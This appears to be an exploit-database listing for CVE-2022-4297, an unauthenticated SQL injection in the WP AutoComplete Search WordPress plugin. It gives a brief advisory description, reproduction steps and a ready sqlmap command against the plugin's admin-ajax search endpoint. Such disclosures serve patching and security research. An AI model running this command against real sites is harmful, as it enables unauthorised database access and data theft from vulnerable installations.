WP AutoComplete 1.0.4 - Unauthenticated SQLi

🗓️ 03 Jul 2023 00:00:00Reported by matitaniumType

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Shortcoming in WP AutoComplete 1.0.

Reporter	Title	Published	Views	Family All 15
0day.today	Wordpress WP AutoComplete 1.0.4 - Unauthenticated SQL injection Vulnerability	4 Jul 202300:00	–	zdt
Circl	CVE-2022-4297	3 Jan 202300:30	–	circl
CNNVD	WordPress plugin WP AutoComplete Search SQL注入漏洞	2 Jan 202300:00	–	cnnvd
CVE	CVE-2022-4297	2 Jan 202321:49	–	cve
Cvelist	CVE-2022-4297 WP AutoComplete Search <= 1.0.4 - Unauthenticated SQLi	2 Jan 202321:49	–	cvelist
EUVD	EUVD-2022-51653	3 Oct 202520:07	–	euvd
NVD	CVE-2022-4297	2 Jan 202322:15	–	nvd
OSV	CVE-2022-4297	2 Jan 202322:15	–	osv
Packet Storm	WordPress WP AutoComplete Search 1.0.4 SQL Injection	4 Jul 202300:00	–	packetstorm
Prion	Sql injection	2 Jan 202322:15	–	prion

# Exploit Title: WP AutoComplete 1.0.4 - Unauthenticated SQLi
# Date: 30/06/2023
# Exploit Author: Matin nouriyan (matitanium)
# Version: <= 1.0.4
# CVE: CVE-2022-4297
Vendor Homepage: https://wordpress.org/support/plugin/wp-autosearch/
# Tested on: Kali linux

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The WP AutoComplete Search WordPress plugin through 1.0.4 does not sanitise 
and escape a parameter before using it in a SQL statement via an AJAX available to unauthenticated users,
leading to an unauthenticated SQL injection

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How to Reproduce this Vulnerability:

1. Install WP AutoComplete <= 1.0.4 
2. WP AutoComplete <= 1.0.4 using q parameter for ajax requests
3. Find requests belong to WP AutoComplete like step 5
4. Start sqlmap and exploit 
5. python3 sqlmap.py -u "https://example.com/wp-admin/admin-ajax.php?q=[YourSearch]&Limit=1000&timestamp=1645253464&action=wi_get_search_results&security=[xxxx]" --random-agent --level=5 --risk=2 -p q

03 Jul 2023 00:00Current

9.7High risk

Vulners AI Score9.7

CVSS 3.19.8

EPSS0.0331

SSVC